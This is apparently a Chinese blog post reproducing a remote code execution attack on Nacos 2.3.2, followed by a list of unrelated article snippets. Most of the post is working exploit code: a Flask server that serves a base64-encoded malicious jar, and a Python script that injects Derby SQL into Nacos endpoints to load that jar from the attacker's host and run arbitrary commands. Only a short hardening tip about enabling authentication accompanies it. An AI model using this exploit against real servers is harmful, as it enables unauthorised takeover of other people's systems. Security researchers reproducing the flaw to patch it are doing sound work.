Nacos rce-0day漏洞复现(nacos 2.3.2)
Nacos rce-0day漏洞复现(nacos 2.3.2)
NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app=“NACOS”
从 Github 官方介绍文档可以看出国内不少大企业都在使用该系统,而从 issue 中也可以看出其 CVE 漏洞多且利用难度较低
Nacos系统历史CVE漏洞
1、CVE-2021-29441认证绕过
2、QVD-2023-6271默认密钥
3、CNVD-2020-67618 SQL注入
4、CNVD-2023-45001反序列化
搭建Nacos 2.3.2 环境
下载地址:https://github.com/alibaba/nacos/releases
1、解压nacos文件
2、创建nacos数据库
执行mysql-schema.sql文件
3、配置数据源nacos/conf/application.properties
4、配置startup.cmd
5、启动Nacos在bin目录下打开cmd,输入startup.cmd -m standalone启动
访问http://localhost:8848/nacos
漏洞分析
漏洞描述
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。
漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。需要登录到后台才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。
poc
在Github上已删除
代码分析—service.py
Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config.py 模块中读取
#定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数,请求download接口就会返回jar的内容
@app.route(‘/download’)
def download_file():
#将Base64编码的payload 解码为二进制数据。
data = base64.b64decode(payload)
#创建一个HTTP响应对象,包含解码后的数据,并 设置MIME类型为 application/octet-stream(表示二进制文件)。
response = Response(data, mimetype=“application/octet-stream”)
#可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。
# response.headers[“Content-Disposition”] = “attachment; filename=file.bin”
#返回响应对象。
return response
代码分析—exploit.py
exploit.py会连接Nacos,然后请求Nacos的参数中注入了连接service.py的IP、端口,以及需要RCE的指令。请求到达nacos之后,利用deby数据库的漏洞,恶意请求service.py服务的接口,加载jar包内容。然后再输入RCE指令给jar包,运行这个命令。
#按装订区域中的绿色按钮以运行脚本
def exploit(target, command, service, args):
#构建用于发送请求的URL
removal_url = urljoin(target, ‘/nacos/v1/cs/ops/data/removal’)
derby_url = urljoin(target, ‘/nacos/v1/cs/ops/derby’)
print(“正在进行碰撞,请耐心等待!!”)
#循环----直到成功利用漏洞
for i in range(0, sys.maxsize):
#id:生成一个随机字符串,用于标识SQL注入的payload
id = ‘’.join(random.sample(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’, 8))
#post_sql:构建SQL注入的payload,安装一个恶意的Java函数
post_sql = “”“CALL sqlj.install_jar(‘{service}’, ‘NACOS.{id}’, 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘NACOS.{id}’)\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME ‘test.poc.Example.exec’\n”“”.format(id=id, service=service);
#option_sql:构建SQL语句,利用恶意函数执行命令
option_sql = “UPDATE ROLES SET ROLE=‘1’ WHERE ROLE=‘1’ AND ROLE=S_EXAMPLE_{id}(‘{cmd}’)\n”.format(id=id, cmd=command);
#get_sql:构建SQL查询,执行命令并获取结果 get_sql = “select * from (select count(*) as b, S_EXAMPLE_{id}(‘{cmd}’) as a from config_info) tmp /ROWS FETCH NEXT/”.format(id=id, cmd=command);
# get_sql = “select * from users /ROWS FETCH NEXT/”.format(id=id,cmd=command);
files = {‘file’: post_sql}
#requests.post:发送POST请求,上传恶意SQL
#requests.get:发送GET请求,执行命令并获取结果。
post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
post_json = post_resp.json()
if args.url:
print(post_json)
if (post_json[‘code’] == 404 or post_json[‘code’] == 403) and “File” not in post_json[‘message’]:
print(Fore.YELLOW + f"[-] {target} 可能不存在Nacos_Rce漏洞\n" + Fore.RESET)
break
if post_json.get(‘message’, None) is None and post_json.get(‘data’, None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={‘sql’: get_sql}, verify=False, headers=header,
timeout=5)
print(Fore.RED + f"\n[+] {target} 存在Nacos_Rce漏洞,执行命令:{command}" + Fore.RESET)
print(Fore.RED + f"[+] 返回的结果如下: {get_resp.text}" + Fore.RESET)
break
if name == ‘main’:
#service:构建下载恶意Jar文件的URL。
service = ‘http://{host}:{port}/download’.format(host=config.server_host, port=config.server_port)
#target 和 command:从用户输入获取目标URL和要执行的命令。
target = ‘http://127.0.0.1:8848’
command = ‘calc’
target = input(‘请输入目录URL,默认:http://127.0.0.1:8848:’) or target
command = input(‘请输入命令,默认:calc:’) or command
#exploit:调用漏洞利用函数。
exploit(target=target, command=command, service=service)
漏洞复现
第一步:安装依赖requests和flask
第二步:配置config.py中的ip和端口,需要安装依赖
第三步;启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在fask服务端当作服务器资源
第四步:执行exploit.py,输入命令即可执行.默认执行calc
安全加固建议
- 对于使用单机模式的用户,Nacos社区建议开启鉴权机制以增强安全性。这可以通过设置相关配置实现,确保他人无法滥用接口。
- 在文件application.properties开启鉴权
开启鉴权之前
开启鉴权之后
相关文章:

Nacos rce-0day漏洞复现(nacos 2.3.2)
Nacos rce-0day漏洞复现(nacos 2.3.2) NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app“NACOS” 从 Github 官方介绍文档可以看出国…...

yjs04——matplotlib的使用(多个坐标图)
1.多个坐标图与一个图的折线对比 1.引入包;字体(同) import matplotlib.pyplot as plt import random plt.rcParams[font.family] [SimHei] plt.rcParams[axes.unicode_minus] False 2.创建幕布 2.1建立图层幕布 一个图:plt.fig…...

MOS管和三极管有什么区别?
MOS管是基于金属-氧化物-半导体结构的场效应晶体管,它的控制电压作用于氧化物层,通过调节栅极电势来控制源漏电流。MOS管是FET中的一种,现主要用增强型MOS管,分为PMOS和NMOS。 MOS管的三个极分别是G(栅极),D(漏极)&…...

医院多参数空气质量监控和压差监测系统简介@卓振思众
在现代医院管理中,确保患者和医疗人员的健康与安全是首要任务。为实现这一目标,医院需要依赖高科技设施来维持最佳的环境条件。特别是,多参数空气质量监测系统和压差监测系统在这一方面发挥了不可替代的作用。【卓振思众】多参数空气质量监测…...

[项目实战]EOS多节点部署
文章总览:YuanDaiMa2048博客文章总览 EOS多节点部署 (一)环境设计(二)节点配置(三)区块信息同步(四)启动节点并验证同步EOS单节点的环境如何配置 (一…...
setImmediate() vs setTimeout() 在 JavaScript 中的区别
setImmediate() vs setTimeout() 在 JavaScript 中的区别 在 JavaScript 中,setImmediate() 和 setTimeout() 都用于调度任务,但它们的工作方式不同。 JavaScript 的异步特性 JavaScript 以其非阻塞、异步行为而闻名,尤其是在 Node.js 环境…...

【Java文件操作】文件系统操作文件内容操作
文件系统操作 常见API 在Java中,File类是用于文件和目录路径名的抽象表示。以下是一些常见的方法: 构造方法: File(String pathname):根据给定的路径创建一个File对象。File(String parent, String child):根据父路径…...

关于若依flowable的安装
有个项目要使用工作流功能,在网上看了flowable的各种资料,最后选择用若依RuoYi-Vue-Flowable这个项目来迁移整合。 一、下载项目代码: 官方项目地址:https://gitee.com/shenzhanwang/Ruoyi-flowable/ 二、新建数据库ÿ…...
猜数字困难版(1-10000)
小游戏,通过提示每次猜高或猜低以及每次猜中的位数,10次内猜中1-10000的一个数。 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthde…...
ASPICE术语表
术语来源描述活动Automotive SPICE V4.0由利益相关方或参与方执行的任务用参数Automotive SPICE V4.0应用参数是包含了在系统或软件层级可被更改的数据的软件变量,他们影响系统或软件的行为和属性。应用参数的概念有两种表达方式:规范(分别包括变量名称、值域范围、…...
Knife4j:打造优雅的SpringBoot API文档
1. 为什么需要API文档? 在现代软件开发中,API文档的重要性不言而喻。一份清晰、准确、易于理解的API文档不仅能够提高开发效率,还能降低前后端沟通成本。今天,我们要介绍的Knife4j正是这样一款强大的API文档生成工具,它专为Spring Boot项目量身打造,让API文档的生成…...

数学建模笔记—— 多目标规划
数学建模笔记—— 多目标规划 多目标规划1. 模型原理1.1 多目标规划的一般形式1.2 多目标规划的解1.3 多目标规划的求解 2. 典型例题3. matlab代码实现 多目标规划 多目标规划是数学规划的一个分支。研究多于一个的目标函数在给定区域上的最优化。又称多目标最优化。通常记为 …...

【鸿蒙HarmonyOS NEXT】页面之间相互传递参数
【鸿蒙HarmonyOS NEXT】页面之间相互传递参数 一、环境说明二、页面之间相互传参 一、环境说明 DevEco Studio 版本: API版本:以12为主 二、页面之间相互传参 说明: 页面间的导航可以通过页面路由router模块来实现。页面路由模块根据页…...

SonicWall SSL VPN曝出高危漏洞,可能导致防火墙崩溃
近日,有黑客利用 SonicWall SonicOS 防火墙设备中的一个关键安全漏洞入侵受害者的网络。 这个不当访问控制漏洞被追踪为 CVE-2024-40766,影响到第 5 代、第 6 代和第 7 代防火墙。SonicWall于8月22日对其进行了修补,并警告称其只影响防火墙的…...
关于SAP标准委外(带料外协)采购订单信息
业务背景: 业务部门提出需要将售料外协方式变更为带料外协,带料外协实际业务存在一个委外订单存在多次发料,且每次发票需要进行齐套发料,不同批次的发料涉及物料替代。在半成品收货时需要进行对发料的组件进行扣料。 需求分析&a…...

SpringBoot整合WebSocket实现消息推送或聊天功能示例
最近在做一个功能,就是需要实时给用户推送消息,所以就需要用到 websocket springboot 接入 websocket 非常简单,只需要下面几个配置即可 pom 文件 <!-- spring-boot-web启动器 --><dependency><groupId>org.springframewo…...

使用 QEMU 模拟器运行 FreeRTOS 实时操作系统
文章目录 QEMU 官网QEMU 文档QEMU 简介QEMU 安装QEMU 命令启动虚拟机串口控制台监控命令行 FreeRTOS安装编译工具FreeRTOS 源码RISC-V-Qemu-virt_GCC 示例编译 RISC-V-Qemu-virt_GCC启动虚拟机运行 FreeRTOS QEMU 官网 https://www.qemu.org/ QEMU 文档 https://www.qemu.or…...
Oracle EBS中AR模块的财务流程概览
应收账款 (AR) 模块是Oracle E-Business Suite (EBS) 中另一个重要的财务管理模块,主要用于管理企业销售过程中的账款回收。下面是AR模块中的一些关键财务流程及其详细说明: 1. 销售订单管理 创建销售订单:当客户下单时,销售人员…...

Minitab 的直方图结果分析解释
Minitab 的直方图结果分析解释 步骤 1:评估关键特征 检查分布的尖峰和散布。评估样本数量对直方图外观的影响。 标识尖峰(即,条的最高聚类): 尖峰表示样本中最常见的值。评估样本的散布以了解数据的变异程度。例如…...

AgentRE:用智能体框架提升知识图谱构建效果,重点是开源!
发布时间:2024 年 09 月 13 日 Agent应用 AgentRE: An Agent-Based Framework for Navigating Complex Information Landscapes in Relation Extraction 在复杂场景中,关系抽取 (RE) 因关系类型多样和实体间关系模糊而挑战重重,影响了传统 “…...

SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...

定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
Java 加密常用的各种算法及其选择
在数字化时代,数据安全至关重要,Java 作为广泛应用的编程语言,提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景,有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

多种风格导航菜单 HTML 实现(附源码)
下面我将为您展示 6 种不同风格的导航菜单实现,每种都包含完整 HTML、CSS 和 JavaScript 代码。 1. 简约水平导航栏 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport&qu…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
SQL慢可能是触发了ring buffer
简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文通过代码驱动的方式,系统讲解PyTorch核心概念和实战技巧,涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...